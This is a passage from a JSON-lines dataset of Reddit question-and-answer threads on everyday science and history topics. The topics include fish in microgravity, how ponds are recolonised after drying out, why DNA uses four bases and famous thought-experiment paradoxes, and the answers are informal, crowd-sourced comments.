relevant:\n\nA drop-tower experiment to determine the  threshold of gravity for inducing motion sickness in fish. Adv Space Res. 2004;34(7):1592-7.\n\nFish don't deal at all well with microgravity for actually swimming.", "Follow-on question:  \n\nI had read years ago that a fish could survive in 100% humidity air. Fish die out of water because the gills collapse, not from lack of oxygen. Air actually has a higher O2 content than water. Theoretically a fish can extract O2 from air more efficiently than we can, as long as the gills can be supported.  In zero G, that's not an issue.  \n\nHas anyone else heard this? Has the experiment been done?", "Fish are unable to breathe air on Earth, because without the buoyancy of water, threat gills collapse from gravity, thus obscuring their gas exchange surface (they suffocate as a result). In zero-G, they'd be perfectly able to breathe without being within water. The main problem now is internal water balance (hydration).", "Seems like your actual question is pretty well answered but just want to jump in with a physics clarification: despite use of the often misleading term \u201czero-g\u201d there is no such thing as an environment with *no* gravity.\n\nObjects in orbit are instead trapped in a circular free-fall, the Earth curving away from them (due to their horizontal speed) at the same rate that they fall towards it.\n\nOP, you may have known this but it\u2019s a common misconception, so there it is for whoever needs it.", "Maybe someone else has answered this to your satisfaction but to your flap his fin and create an air bubble question it sounded to me more like you're asking: can he flap his fin and create a vacuum in the water and suffocate in the vacuum?\n\nThe answer is, unfortunately for interestingness: no. Because while everyone in space is apparently weightless, they are not pressure-less. So the pressure of the room would collapse the vacuum trying to be formed behind the fish fin. \n\nNow what I'd be curious to know is: could a fish live in a pressure-less infinite expanse of sufficiently oxygenated water? I think no, because of this problem: where movement creates a vacuum. That and I assume some part of the fish works on pressure differentials.", "Off the top of my head, you would something like spinning pin wheels of oxygen bubblers and good circulation to get decent oxygenation. Then there is the whole vestibular thing. Do fish even have that stuff? This is clearly a problem for Google and booze.", "What I need to understand is a conceptual explanation detailing how oxygen is provided to the fish/water so they can breathe.  This needs to include removal of CO2.  I also want to know how they would manage cleaning the water of impurities and waste.", "One important factor for fish in microgravity would be that buoyancy won't work.  Fish would not be able to move \"up\" and \"down\" by adjusting their swim bladder.  This would drastically limit maneuverability of most fish species and they would have to learn how to compensate with fin and body movements.", "The fish actually trained for many years as a space fish in NASAs astronaut training facility. Long hard hours in small space deployments and exercising state of the art out of water exercises has really toughened this small fry. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nasa.gov/mission_pages/station/research/experiments/984.html"], ["https://www.nasa.gov/audience/forstudents/9-12/features/F_Animals_in_Space_9-12.html", "https://www.sciencedirect.com/science/article/pii/S1546509808601326", "http://jeb.biologists.org/content/220/20/3605.2"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "55lfm3", "title": "when ponds dry up and fish/other aquatic animals die, how does life return to the pond when it fills back up?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/55lfm3/eli5_when_ponds_dry_up_and_fishother_aquatic/", "answers": {"a_id": ["d8ble25", "d8ble5k", "d8bleno", "d8bn4fd", "d8btl4i", "d8buuhn", "d8bux8g", "d8bvfjh", "d8bvxty", "d8bw2dm", "d8bw3no", "d8bw3sl", "d8bwlx7", "d8bx4qx", "d8bxngn", "d8bxs3w", "d8bzkvu", "d8c0a6b", "d8c0eek", "d8c0oew", "d8c1nrt", "d8c27za", "d8c3gxw", "d8c46pd", "d8c590r", "d8c8ain", "d8ceau8", "d8cpgae"], "score": [804, 1049, 3466, 3, 21, 4, 2, 147, 13, 30, 298, 2, 13, 129, 13, 2, 14, 23, 2, 2, 2, 6, 2, 2, 3, 2, 2, 2], "text": ["Depends on the aquatic creature. \n\nSome animals, like certain species of fish and amphibians go into a hibernation or suspended animation state in a little \"cocoon\" they make out of mucus and mud and bury themselves in the mud. When the pond gets filled again, the cocoon dissolves and they emerge again.\n\nMany insects lay eggs and die, when the pond fills again the eggs hatch and the cycle begins again. \n\nOthers migrate to other water sources, and maybe move around when the rivers are full and/or flood. ", "Life, uh, finds a way.\n\nEggs can hitch rides on other animals. For instance. birds walk around the edge of one pond with animals in it, get the sticky eggs of frogs and fish on its feet, then fly to the new pond and search for food there. Some eggs can just survive deep in the mud until the pond refills.  Flooding can carry fish and eggs to the pond as well.", "Many aquatic animals are able to lay eggs that can dry up and go dormant until they get rehydrated again. Algae leaves spores that do the same. \n\n", "There are some aquatic animals (including fishes) that can breathe air or survive and move short distances on land. They can move to nearby water sources. Basically life finds a way. ", "Also, many species of insects that have a larval stage in the pond (dragonfly, diving beetles) return to the pond by the adult parents laying eggs once the water returns.", "A couple of other reasons...\n\nPonds are generally/sometimes near a river, this river floods and fills pond up, fish with it.\n\nFish eggs are known to travel attached to birds who frequents waterways. Spreading fishes. ", "Water spouts can suck small amphibious creatures, larva, fish and their eggs out of a water source and suspend them in the clouds. They then get flushed down with the rain into other habitats if, their lucky. _URL_0_", "Nothing on this Earth is a closed system. Period. There are places that come close, like Madagascar (The only place my current drunk ass can think of at the moment), where life evolves down its own little pathway, almost completely independent of the rest of the world.  \n  \nI remember a story of a tomato plant growing on some god-forsaken no life hell of a volcano perimeter, and the reason it got there? Some dude shit on it, leaving a tomato seed. How the hell they worked that one out, I dunno. But life is constantly moving, expanding, filling voids.  Traveling through your bowels.\n  \nIt's why vaccination is so important. Things like measles, or polio, aren't completely dead in the world. there are six degrees of separation between you and Kevin Bacon, that's the same number (if that) to you and someone with polio. That pond isn't dead yet, and it's just waiting for the right conditions to come and fill it again with life.", "Most often it is just flooding bringing in fish from elsewhere. Very common in places with heavy rain seasons ", "When the lake or river fills again it opens into the ocean which provides access once more for aquatic animals like salmon to return. There have even been situations in the past where it [rained aquatic animals](_URL_0_) such as in 1861 it rained fish in Singapore, and in 2016 at Pathapatnam, Srikakulam district, Andhra Pradesh, or toads and frogs in 2009 at Ishikawa Prefecture, Japan.", "You also have fish hatcheries and farms that raise large populations of fish (for example trout) and then deliver them via trucks with large holding tanks on them to wherever a population boost is needed. So even some isolated farmer's backyard pond that's not even remotely close to a water channel can end up with a thriving fish population.", "It depends on the region. Birds play a big part most of time, but some places the fish literally walk (I'm not being an ass, they do). . . or rather, crawl/flop.", "A bit off topic but years ago I visited Israel and in the desert they have a well called the Crazy Well. Every few minutes it completely empties into a cavern underneath but it's fun to see what happens to all the animals that live in the well as the water retreats. ", "I know this doesn't exactly answer your question, because it's not addressing ponds that have *completely* dried up, but I think it's relevant and really neat. \n\nIn the Everglades alligators are the reason most species are able to survive the dry season. This is because of what is commonly known as \"Gator Pits\". They dig out large pits in existing bodies of water which are deep enough to hold water throughout the dry season. This gives the animals in the area a crucially important (though greatly diminished from the wet season) water source. If it were not for the alligators, the delicate ecosystem that is the Everglades would quickly collapse (or at least suffer a dramatic change wherein many species go extinct). Alligators are the Kings and Stewards of the Everglades.", "Eggs often get carried around on birds feet. I've had frogs hatching in a puddle on my roof that way.", "Wondering this now where I'm from. It hasn't rained in over a month and it's almost bare here. ", "In the Northeast USA if a pool dries up every year it is a \"vernal pool\" and a specific critical type of habitat for some species to survive without fish as predators.\n\n_URL_0_", "From a fish and wild life class I took there are 3 ways\n\n1.) Some life just buries itself in the mud and goes dormant, or some eggs just don't hatch until the conditions are right.\n\n2.) Ducks and other more mobile animals will spread it around. Fish eggs get stuck to their feet and then fall off in the new pond.\n\n3.) This is actually probable the most used but lots of ponds are really part of a water shed, a piece of land that shares the same drainage system. In normal levels of water they are un-connected lakes and ponds.\n\nHowever when the system is flush with water maybe during spring snow melt or it just rains a lot, all the ponds, lakes , streams actually become connected by small streams. These streams connect the otherwise unconnected ponds with the bigger lakes and rivers. ", "Ducks and geese travel from Lake to lake in search of food, mates,etc. Often times they will have fertilizes fish eggs on their feet and  underside feathers. They unwittingly deposit the eggs upon landing in the newly refreshed lake. No complicated answer needed here just science and simple observations from experience researchers who had the same questions.many years ago.", "Almost every organism inhabituating mentioned kinds of water ecosystems has developed an mechanism for surviving unfavorable conditions - actually, mostly it represents an obligatory stage in their life cycle. There are organisms that spend 99% of their life cycle as larvae!\n\nFor instance as mentioned in previous comments, aquatic animals lay eggs which are resistant to most of harmful enviroment effects, waiting for perfect timing to continue their individual development.\n\nMost of algae form spores. Their variety is huge in terms of mobility, surface, size, shape, etc and is important for distinguishing the species. What is common for vast majority is that they usually have thick cell walls which are able to withstand the usual negative environment effects for that habitat.\n\nInvertebrates usually form larvae.\n\nAlso worth mentioning is that some organisms survive by living inside or on the surface of other organisms. They can be parasites (they harm the organism tehy parasite in/on), commensals (one organism has benefit, but without affecting the host) and symbiont, where both organisms are dependant on each other.\n\n\n", "One important thing for biodiversity is that annually/semiannually drying ponds are *not* recolonized by fish. And if they are (via flooding or assisted by birds or other animals), they will only stay until the next dry phase. This allows many amphibians, zooplankton, and insects to specialize in these environments, which provide a relatively predator-free environment and opportunities to assume the role of top predator (salamander larvae are basically fish from a food web standpoint, and some aquatic beetles and their larvae are terrifyingly large and will eat tadpoles, fish, and salamanders). Some of those animals metamorphose  and become terrestrial-- like amphibians, beetles, dragonflies, flies and others-- like zooplankton have a drying-resistant egg stage that will spring to life during wetter times. Some fairy shrimp eggs aged at around 1000 years old have been hatched successfully after being extracted from deep down in old pond muck. Dormant adult/juvenile stages are more of a rarity, but do occur and make for some of the more spectacular feats of resilience seen in nature.", "This explanation sort of includes other great ones here...but perhaps is interesting.  When I was a kid in the 80's my grandparents got relocated about 1/2 mile from their land to make room for I-75 to be built. On the new property the government dug 3 borrow pits to use for the highway.  The pits appeared more or less dead and wouldn't hold rainwater long.  So along came Hurricane Elena which caused massive flooding on and around that property.  It filled up those pits and you could take a rowboat all the way to a stream nearly a mile away. That stream feeds in to a river (The Alafia) which feeds in to Tampa Bay and from there The Gulf of Mexico.  It wasn't long before the water receded we realized our pits were full of a variety of fish. Plus there was dead sea life everywhere on dry ground. I don't know the technicalities of it but my grandfather \"fixed\" the pits to hold water, ran irrigation to them, and became a fish farmer. So flooding is one reason why.  We would also occasionally see birds drop fish, snakes, and turtles from who-knows-where in to our ponds. The ponds remain \"alive\" to this date.", "A surprising vehicle for repopulation would be a good mesocyclone that spawned a tornado.  Tornadoes can move across water as waterspouts, and when they do, they sometimes pick up vast quantities of small fish and frogs and other biota and deposit it all miles and miles away from where it started.  I've seen this in action once in my life.  When I was about 9, I was visiting the farm of some cousins.  A big storm had gone through the night before, and all the large, deep hoofprints of the cows in the pasture were filled with water.  A cousin much younger than me was going from hoofprint to hoofprint, and plunging her hand into the water to come up with small catfish babies which she tossed into her bucket.  So I joined in, mainly to save as many of them as I could because her plans for them were not to let them survive.  I made many trips to the pond to empty my bucket that day, and I even snatch a few out of her bucket too.  There were so many out there that there was no way I could get them all, but I saved many hundreds of them.", "As a lil dude we used to swim in a quarry that flooded. There's also a river nearby. So I see only as natural that we carried fish into the quarry, in buckets, over many summers.\n\nTurns out the quarry didn't freeze through in the winter, so nowadays the lil man-made pond has a lot of little fishies in it. I guess that makes me their grand-father, sort of.", "There is a lot of anecdotal evidence that waterfowl play a role in this.\n\nImagine a duck landing in a one water body and picking up particulate on their belly, chest, and legs.  They then fly to the newly filled pond and these particulates dislodge into a new home.\n\nThere are also some organisms that will survive the transmission through the digestive tract of waterfowl and other birds including possibly fish eggs.\n\nThe best answer with the most scientific evidence is that many aquatic animals and plants are able to lay dormant in dry conditions for long periods of time.  Even if the animals don't survive, often their eggs will survive.\n\n", "We call it \"bucket biology\", and the Fish and Wildlife Department gets really mad about that.", "In Ottawa there is a park in the banks of the Rideau river with a small manmade pond/swimminghole that was constructed by enlarging and segregating a small run of the river with landfill in the early '60s. This pond sat on the floodplain of the river and would recieve new water only once every spring. It was eventually closed to swimming for health concerns as the ecosystem of the pond quickly accelerated towards total eutrophy. Fish caught in the pool or hatched from eggs laid on the floodplain in spring would not be able to reenter the river system and many fish would die in the pond; essox spp. were of special concern as they are important to the river's foodweb and spawning area on the banks is limited. Then two years ago, a rehabilitation project finally got underway at the pond. The pond was drained and the structure of the bed was altered to provide more complexity. They also installed a 26 meter long culvert to connect the downstream end of the pond back to the river. No one is extremely sure how well this will work, as ecological restoration is rarely assessed, and when it is assessed it often doesn't work as intended or not worth the money. This is definitely an extraordinary example but everyone is hoping that the restoration will improve spawning and foraging habitat and for the culvert to allow fishes to enter and exit the pond at will.", "You mean where do the ducks go?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.loc.gov/rr/scitech/mysteries/rainingfrogs.html"], [], [], ["https://en.wikipedia.org/wiki/Rain_of_animals#Frogs_and_toads"], [], [], [], [], [], [], ["http://www.vernalpool.org/vpinfo_1.htm"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "sr85w", "title": "Is it possible to pass out when already asleep?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sr85w/is_it_possible_to_pass_out_when_already_asleep/", "answers": {"a_id": ["c4gaod8"], "score": [3], "text": ["Being asleep versus being unconscious are two distinctly different things.  Consider how easy it is to shake someone awake who is sleeping.  That does not work so well for someone who is unconscious.\n\nSo yes, such a thing is possible although I am hard pressed to figure out how it would happen (maybe if someone started suffocating you while you were asleep or something).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6bl1b6", "title": "What's the difference between feminist, gender and women's history?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6bl1b6/whats_the_difference_between_feminist_gender_and/", "answers": {"a_id": ["dhnh7gb"], "score": [6], "text": ["There's always room for more discussion, of course, but you should take a look at /u/sunagainstgold's excellent answer to [Historiography question: feminist history vs history of women?](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5mr2nj/historiography_question_feminist_history_vs/"]]}
{"q_id": "503ao7", "title": "Can the body remove foreign objects lodged in the flesh on its own? If so, why does this sometimes not happen?", "selftext": "For example, a piece of pencil graphite or a splinter that stays in you for a number of years.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/503ao7/can_the_body_remove_foreign_objects_lodged_in_the/", "answers": {"a_id": ["d71xemt", "d73pjpq"], "score": [4, 2], "text": ["Think of ink in a tattoo - proper treatment allows the ink to become part of a symbiotic relationship with the body. Why do some people get infections from ink and others do not? Why do splinters stay in the body?\n \nThe skin has three layers (from outermost to innermost) - epidermis, dermis, hypodermis. When a foreign substance enters the skin, such as ink or a splinter, it often times gets lodged largely in the epidermis. The dermis is complicated and holds capillaries, detectors for pain and heat, glands, melanocytes (cells that give color to the skin). Ink sits on top of the dermis and thus does not irritate the functional cells in the skin. The top most layer of skin has no detectors - the cells serve as a protective layer. Scratching at a surface itch relieves the itch because finger pressure stimulates the pain detectors in the dermis. Thus a splinter can sit in the epidermal layer of the skin without being detected as a foreign substance and thus leading to your body's reaction to expel it. \n\nReally deep splinters can cause inflammation so then you will see the body trying to expel the substance or destroy it from within. ", "Agreed above but I think it's more simple for small objects close to the epidermis. For small objects that the body cannot decompose, white blood cells and other fluids rush in and collect around the object (swelling).\n\nOften enough, these fluids create a pustule within the layers of the dermis that encircles the foreign object. Pressure builds and if the pustule ruptures, the object is flushed away (hopefully) externally. \n\nClearly this doesn't work for an internal foreign object. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "15fy38", "title": "Did people in the Roman Republic/ Empire ever try to rescue the condemned after crucifixion? ", "selftext": "Unlike many modern forms of execution, death by crucifixion is quite prolonged. Depending on the exact method and accompanying injuries, as well as environmental factors the condemned could take hours to days until they died. Wikipedia quotes the \"Life of Flavius Josephus\" describing an instant where three condemned were freed shortly after crucifixion (through only one of them survived).\n\nAll of this got me wondering how often friends or family of the condemned may have tried freeing their loved ones, and how good their chances of succeeding were. The condemned were probably guarded very well during the first hours, but at some point, the guards would surely leave or get bored/ distracted? Also...looking at the mass crucifixions, e.g. following Spartacus' rebellion, where thousands of people were crucified over a 200 mile stretch of road- they can't have been watched that closely, it would have taken an immense amount of manpower. Surely there must have been attempts to free some of them? (edited for clarity)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15fy38/did_people_in_the_roman_republic_empire_ever_try/", "answers": {"a_id": ["c7m4i9o", "c7m6yf6", "c7m707e", "c7m838s"], "score": [87, 27, 10, 25], "text": ["Not an example of a clandestine rescue, but Josephus provides evidence of rescuing some friends. *Life*:75 says:\n\n*\"And when I was sent by Titus C\u00e6sar with Cerealius, and a thousand horsemen, to a certain village called Thecoa, in order to know whether it were a place fit for a camp, as I came back, I saw many captives crucified, and remembered three of them as my former acquaintance. I was very sorry at this in my mind, and went with tears in my eyes to Titus, and told him of them; so he immediately commanded them to be taken down, and to have the greatest care taken of them, in order to their recovery; yet two of them died under the physicians hands, while the third recovered.\"*\n\n_URL_0_", "I cannot recall any other instances other than what you cited.  However, if you are interested to understand the physiological sequelae that accompany this particular form of execution, then \"A Doctor at Calvary\" \u00a0by French surgeon Pierre Barber provides an incredibly detailed analysis. Given his analysis, survivability was understandably very low.  ", "Didn't the soldiers break the legs in order to speed up the asphyxiation of the person being crucified before they left the scene? ", "This is recorded in fiction, but the [Satyricon](_URL_0_) has a story involving a soldier who was guarding crucifixes for exactly this reason. He is distracted by a beautiful widow who is mourning in the graveyard nearby, and while he goes to seduce her, some relatives pull down the crucified man and escape with him. The widow then suggests that they replace the criminal with her husband's body so that the soldier won't be punished.\n\nIn this example, the man on the cross has already died, and his relatives take his body away to bury him. It does prove your point that the guards could be easily distracted."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://penelope.uchicago.edu/josephus/autobiog.html"], [], [], ["http://homepage.usask.ca/~jrp638/widow/widowframes/translf.html"]]}
{"q_id": "b52c26", "title": "what's behind that reflex to immediately shake one's hand vigorously after, for example, closing the sliding glass door on a fingernail?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b52c26/eli5_whats_behind_that_reflex_to_immediately/", "answers": {"a_id": ["ejaqlho", "ejaygo0", "eje6ilc"], "score": [4, 22, 2], "text": ["Have you ever been bitten by an animal? The first thing your lizard brain will be to try to get as fast as possible from the animal ( by lizard brain I'm referring to the instincts we where born with).\n\nYour instincts cannot recognize between a bite or a door.", "Because shaking it causes a focus shift of the pain intensity. The nerves that control that kind of pain get drowned out by motor nerves telling your muscles to work and by your brain concentrating on proprioception (where your hand is relative to your body). We only have limited tracts to the brain to process information and the proprioception tract is much faster than the one carrying dull aching pain. ", "Super simple.\n\n When you first pinched your finger what did you do ? You jerked your finger away.\n\nWhen it still hurt you repeated as necessary !"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "45dk0g", "title": "why is \"bloodclot\" such an offensive term in jamaican slang?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45dk0g/eli5_why_is_bloodclot_such_an_offensive_term_in/", "answers": {"a_id": ["czx2dzy"], "score": [10], "text": ["In Jamaican Patois the \"th\" sound is often pronounced as just \"t\". so, bloodclot refers to a woman's menstrual cloth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "n13u1", "title": "zeno's paradox, the grandfather paradox, searle's chinese room, hilbert's hotel, einstein's twin paradox and schrodinger's cat all explained like you're 5 (youtube link)", "selftext": "Youtube link: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/n13u1/zenos_paradox_the_grandfather_paradox_searles/", "answers": {"a_id": ["c35fs5z", "c35gfjh", "c35grf7", "c35gus7", "c35h5xb", "c35hkuq", "c35i39e", "c35i3e9", "c35jqju", "c35lahy", "c35nk7y", "c35nlf2", "c35omgp", "c35ouwz", "c35fs5z", "c35gfjh", "c35grf7", "c35gus7", "c35h5xb", "c35hkuq", "c35i39e", "c35i3e9", "c35jqju", "c35lahy", "c35nk7y", "c35nlf2", "c35omgp", "c35ouwz"], "score": [15, 2, 31, 13, 71, 4, 5, 9, 12, 4, 2, 3, 2, 2, 15, 2, 31, 13, 71, 4, 5, 9, 12, 4, 2, 3, 2, 2], "text": ["[I saw this a few days ago](_URL_0_) when it made it to the front page. Very nice video. Can't go wrong with British narration.", "Cool! (Commenting because my save isn't working. =( )", "It's entertaining and makes for a good introduction, but ignores some pretty important aspects of these thought experiments. For example, I cringed during the Grandfather bit when they briefly mentioned the possibility of time splitting and alternate timelines/universes existing. This is very much a popular and hotly debated notion, and doesn't deserve to be simply dismissed. ", "I'm not sure if I understand Zeno's Paradox. Wouldn't acceleration cover it?", "Nice video.  One point worth noting is that Schroedinger put forth his 'cat' thought experiment in order to demonstrate the preposterousness of quantum theory.  It must have irked him that it ended up becoming the image to explain it.", "Upboat for not karma whoring.\n\nBut seriously I love this stuff.", "Hilbert's paradox hurts my head. If all the rooms are full why does moving people around allow for a vacancy? Yes there are infinitely many rooms. EVERY SINGLE ROOM IS FULL. I don't get how moving people around allows for there to be a vacant room. Please please please explain.", "If anyone is interested in a non-ELI5 version of the Zeno's Paradox: [its entry in the Stanford Encyclopedia of Philosophy](_URL_0_). tl;dr: the problem is not really about summation of series.", "Well, that's not really the twin paradox. The actual paradox is that from the point of view of the twin that went with the spaceship (Bert), Al's is moving fast and hence Al's clock is moving slower. So, the paradox is that from Al's perspective, Bert's clock is moving slow so Bert has aged less when he returns, but from Bert's perspective, Al's clock is moving slow so Al has aged less when Bert returns.\n\nThe resolution of the paradox is that when Bert shoots off in his spaceship, he accelerates, which he also has to do to turn the spaceship around, and finally to get it to stop back on earth. Since Bert is not fixed in any inertial frame of reference, special relativity alone can not be used to interpret what happens, hence no paradox.", "[Slightly related and also suitable for a 5 year old.](_URL_0_) ", "Can anybody explain (like I'm 5) the consensus position/solution on each of these?\n\nThanks!", "So why isn't anyone discussing the Chinese room? I honestly find it to be the most troubling paradox of all of those. Taking philosophy of mind made me doubt my own consciousness. ", "Thank you for introducing me to that channel.", "My favorite is the one about two identical people. Say you had been cloned and your clone who was 100% identical to you was in the same room. Both of you were sat down and put to sleep, but before that happened each one of you were staring up and saw something different. You saw a banana and your clone saw an orange. Now 50% of your atoms were replaced with 50% of your clones and vice versa. What would you see when you opened your eyes, a banana or an orange?", "[I saw this a few days ago](_URL_0_) when it made it to the front page. Very nice video. Can't go wrong with British narration.", "Cool! (Commenting because my save isn't working. =( )", "It's entertaining and makes for a good introduction, but ignores some pretty important aspects of these thought experiments. For example, I cringed during the Grandfather bit when they briefly mentioned the possibility of time splitting and alternate timelines/universes existing. This is very much a popular and hotly debated notion, and doesn't deserve to be simply dismissed. ", "I'm not sure if I understand Zeno's Paradox. Wouldn't acceleration cover it?", "Nice video.  One point worth noting is that Schroedinger put forth his 'cat' thought experiment in order to demonstrate the preposterousness of quantum theory.  It must have irked him that it ended up becoming the image to explain it.", "Upboat for not karma whoring.\n\nBut seriously I love this stuff.", "Hilbert's paradox hurts my head. If all the rooms are full why does moving people around allow for a vacancy? Yes there are infinitely many rooms. EVERY SINGLE ROOM IS FULL. I don't get how moving people around allows for there to be a vacant room. Please please please explain.", "If anyone is interested in a non-ELI5 version of the Zeno's Paradox: [its entry in the Stanford Encyclopedia of Philosophy](_URL_0_). tl;dr: the problem is not really about summation of series.", "Well, that's not really the twin paradox. The actual paradox is that from the point of view of the twin that went with the spaceship (Bert), Al's is moving fast and hence Al's clock is moving slower. So, the paradox is that from Al's perspective, Bert's clock is moving slow so Bert has aged less when he returns, but from Bert's perspective, Al's clock is moving slow so Al has aged less when Bert returns.\n\nThe resolution of the paradox is that when Bert shoots off in his spaceship, he accelerates, which he also has to do to turn the spaceship around, and finally to get it to stop back on earth. Since Bert is not fixed in any inertial frame of reference, special relativity alone can not be used to interpret what happens, hence no paradox.", "[Slightly related and also suitable for a 5 year old.](_URL_0_) ", "Can anybody explain (like I'm 5) the consensus position/solution on each of these?\n\nThanks!", "So why isn't anyone discussing the Chinese room? I honestly find it to be the most troubling paradox of all of those. Taking philosophy of mind made me doubt my own consciousness. ", "Thank you for introducing me to that channel.", "My favorite is the one about two identical people. Say you had been cloned and your clone who was 100% identical to you was in the same room. Both of you were sat down and put to sleep, but before that happened each one of you were staring up and saw something different. You saw a banana and your clone saw an orange. Now 50% of your atoms were replaced with 50% of your clones and vice versa. What would you see when you opened your eyes, a banana or an orange?"]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=5zVaFjSxAZs"], "answers_urls": [["http://www.reddit.com/r/videos/comments/mp290/six_famous_thought_experiments_explained_in_6x60/"], [], [], [], [], [], [], ["http://plato.stanford.edu/entries/paradox-zeno"], [], ["http://www.youtube.com/watch?v=Thry5mXld80"], [], [], [], [], ["http://www.reddit.com/r/videos/comments/mp290/six_famous_thought_experiments_explained_in_6x60/"], [], [], [], [], [], [], ["http://plato.stanford.edu/entries/paradox-zeno"], [], ["http://www.youtube.com/watch?v=Thry5mXld80"], [], [], [], []]}
{"q_id": "15vs2z", "title": "Why is DNA made up of adenine, thymine, cytosine, and guanine?", "selftext": "It is common knowledge that DNA is what \"codes\" many biological functions. But why is it made up of the famous ATCG nucleobases? Is there some chemical property behind them that made them \"ideal\" for playing an important role in life? Was it something that occured when life was just being formed on the earth that led to some kind of primitive natural selection for these bases? Could some other molecules replace these ones and lead to a different type of DNA? I am a university biochem major but I have yet to take O-chem, so any background info or additional reading would be helpful too. Thank you.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15vs2z/why_is_dna_made_up_of_adenine_thymine_cytosine/", "answers": {"a_id": ["c7q9m9x", "c7q9uv8", "c7qadjz", "c7qm703", "c7qpbul", "c7qsb24"], "score": [36, 7, 3, 2, 2, 2], "text": ["The nucleotide bases are particularly good for storing infomation. They have 3 bonding positions, 2 are used to create the main chain, the last to form a weak bond with a matching base. This makes them particularly good at storing information, being read and being copied. Other chains have some of these properties, but DNA wins out on them.\n\nFrom memory, I believe there are 20 or so possible bases that form naturally. (Evolution was a take what you can get game back then) Some of them are better than others at the job. Some bond to weakly, some to strongly, others interact with other chemicals. At least 4 were particularly good for the job, at least back when it evolved.\n\nWhy 4 bases? We don't really know, but we can make some guesses. \n* It might just be fluke. The first system to work well had 4 bases and simply overwhelmed the other versions. \n* It could also be that only those 4 bases were suitable at the time and so they came to dominate. \n* The third option is that 4 bases has a particular benefit. 2 bases give the lowest ambiguity to the data (hence why computers are binary) but 20 give maximum information storage ability. 4 Might just be a good balance point.\n\nThere is an intreaguing thing about the 4 bases thing though. In quantum computing Grover's algorithm only takes 1 computational check to match a base. 4 times faster than a traditional sorting algorithm. At 5 bases it takes 2 checks on average. DNA copying is one of the most critical tasks a cell does, it also happens to be faster than it 'should' be almost 4 times faster. It is also done on the same scale that current quantum computers can work on the same algorithms. Might be fluke, but there would be a huge advantage to it.\n\nAs for why we still have 4 bases. The DNA coding system is highly conserved. It's akin to a computer language. You can change the code and make slight changes, that might be better. But if you change the way the code is interpreted and compiled, it will likely break it. In sort, once the DNA/RNA system became established, changing away became almost impossible. Any change to it would be deadly.", "We probably arrived at our current DNA/RNA world via a sort of primitive chemical evolution. The best informational polymer \"won\", and this happens to be DNA.\n\nSome people believe that RNA developed as a precursor to proteins and, later, DNA. DNA later outcompeted RNA to become the dominant informational polymer and giving us our present DNA/RNA/protein world.\n\nOthers believe that the metabolic cycles of life evolved first, and informational polymers developed as a supporting structure. DNA was the most effective such polymer.\n\nSome others believe that a non-DNA, non-RNA informational polymer predated their generation, and evolved into/was outcompeted by DNA/RNA.\n\nWhatever the truth, it seems likely that DNA's composition is no accident. The choice of bases is a result of selection pressures and, thus, their efficacy, developed on an evolutionary timescale.", "I forget where I read it and hope someone can come along and address, but I read one time that the optimal base for data storage occurs somewhere nearer a base 3 system than a base 2 system.. Can anyone help me find that? I think it would be relevant here as a partial explanation for why Evolution would've selected for something other than a base 2 encoding.", "And to add onto this question: who coined the words for the four bases?", "Very good supplemental video:\n\n_URL_0_\n\nedit: start at 3:45 to pass up some evolution/ creationsism debate material.", "DNA does not have to be made up of those particular 4. There's a scientist who has created artifical DNA that works the same and some strands are even better and stronger in ways and i believe he has a set of three or four different bases"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.youtube.com/watch?v=U6QYDdgP9eg"], []]}
{"q_id": "3j3yad", "title": "why some colleges require you to live on campus.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3j3yad/eli5_why_some_colleges_require_you_to_live_on/", "answers": {"a_id": ["cum1bmi", "cum1guq", "cum1m7z", "cum2kmg"], "score": [10, 10, 3, 3], "text": ["They can charge you room and board, make orientation easier, guarantee retention of the student who might transfer after their first year if the college isn't a fit because all of your friends go there who you met through living on campus, etc. If you move there to go to school and don't live on campus and wind up in a bad living arrangement you could also leave the first year and go somewhere else for school and this would reflect poorly on the school as well as a transfer out, for something not ideally they're fault.\n\nThey get you living on campus your first  year the odds you stay for four years probably goes up like 30-40%, PLUS they get your room and board that first year so if you did move, they at least made your first year tuition plus room and board, so probably equivalent to two years of admission anyway.", "The theory that I've heard from my university is that most first year college students are just starting to get away from their parents. It's extremely likely that these first year college students are going to make at least a few bad life choices. With them living on campus, it's much easier for people like the campus police and their resident advisers (RAs) to watch over them and make sure they at least don't get hurt. Also, putting students in an environment with other students supposedly instills good habits such as attending classes regularly. What I think though is that the living on campus rule was just another way for the school to make a bit of bank.", "The more marketing friendly answer is that living on campus is part of an experience the school things is important as part of their mission to educate students. It certainly is a unique experience and one I'm glad I had. \n\nInterestingly if you look at the physical design of some companies offices, they are geared towards creating collisions which is the say getting people to see each other in the halls more which is a sublet way of getting the to talk to each other more. They have shown this leads to more collaboration and information sharing which is critical to innovation.\n\nI'm sure some aspect of that is in play in the college dorm setting. Students are more 